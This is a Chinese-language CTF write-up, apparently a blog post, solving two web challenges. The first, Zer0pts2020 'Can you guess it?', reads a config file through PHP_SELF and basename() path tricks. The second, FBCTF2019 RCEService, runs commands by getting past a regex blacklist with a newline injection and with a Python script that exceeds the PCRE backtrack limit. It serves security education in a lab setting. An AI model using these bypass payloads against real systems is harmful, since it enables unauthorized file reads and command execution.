【无标题】

[Zer0pts2020]Can you guess it?

 提交查询页面,source可以点击,点击后是源代码

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

 flag在config.php里面,我们就需要访问该网页,接着正则匹配了config,php,传入参数source,读取

$_SERVER['PHP_SELF'],返回当前正在执行的脚本的名字,比如:basename("/path/home.php") -> home.php

$_SERVER['PHP_SELF']

会获取我们当前的访问路径,并且PHP在根据URI解析到对应文件后会忽略掉URL中多余的部分

 如果是/index.php/config.php/,则$_SERVER['PHP_SELF']返回/index.php/config.php/

即config.php运行的是index.php.但是basename()获取到的内容是config.php。

basename()

对传入的参数路径截取最后一段作为返回值,但是该函数发现最后一段为不可见字符时会退取上一层的目录.

例如:

​$var1="/config.php/test"

basename($var1)	=> test

$var2="/config.php/%ff"

basename($var2)	=>	config.php

 所以我们想要读取config.php,那么它后面就需要无法读取的目录,

所以构造:URL/index.php/config.php/%ff?source

 总结:本题的重要点就是$_SERVER['PHP_SELF']和basename()截取函数,以此来访问我们的config.php

 [FBCTF2019]RCEService

 它让以JSON格式提交,JSON的格式是什么

{"a":"b"},这就是JSON的格式,

查看一下源代码

 可以看到input ,cmd 参数应该是cmd,尝试,ls读取,构造:

{"cmd":"ls"}

 可以看到通过这样提交后,参数是cmd,读出来了index.php

 尝试ls /读取根目录下的东西,但是出错了,可能被过滤了

通过看了师傅的wp ,他们都有源代码,但我找不到。。。。。。。。。

源代码如下:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

 可以看到过滤了非常非常多的东西,如果传入的cmd参数不是空值,就会执行system函数

看了师傅的wp后有两种解法,

第一种

因为preg_match只能够匹配第一行,所以可以采用换行绕过,也就是多行。

还因为putenv('PATH=/home/rceservice/jail');修改了环境变量,所以cat命令只能够使用绝对路径,不然是不能够识别该命令的,flag应该就在该/home/rceservice路迳下,cat命令的绝对路径是

/bin/cat(可以问AI)

 那么就可以构造:

?cmd=%0a{"cmd":"/bin/cat /home/rceservice/flag"%0a}

%0a是换行符,换行后就不会匹配后面一行的内容,这样就是有了三行

flag也可以用fl*来代替,防止文件名不是flag,可以去进行一个匹配

 第二种

利用正则匹配的回溯次数,可以去看看p神的文章,说的很详细,

代码:

import requests

url='http://node2.anna.nssctf.cn:28505/'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","qq":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

 得到:

 原理是正则匹配是一个“有限状态的自动机”它是有限的,自动的。

而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。

所以我们利用它的回溯特性,让他回溯100万次时会回显false,也就不会匹配后面的东西了,我们的代码就回溯了100万加,以此来绕过正则匹配。

详细知识文章:

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

总结,对正则匹配的绕过,换行绕过和回溯绕过。

  • 25
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值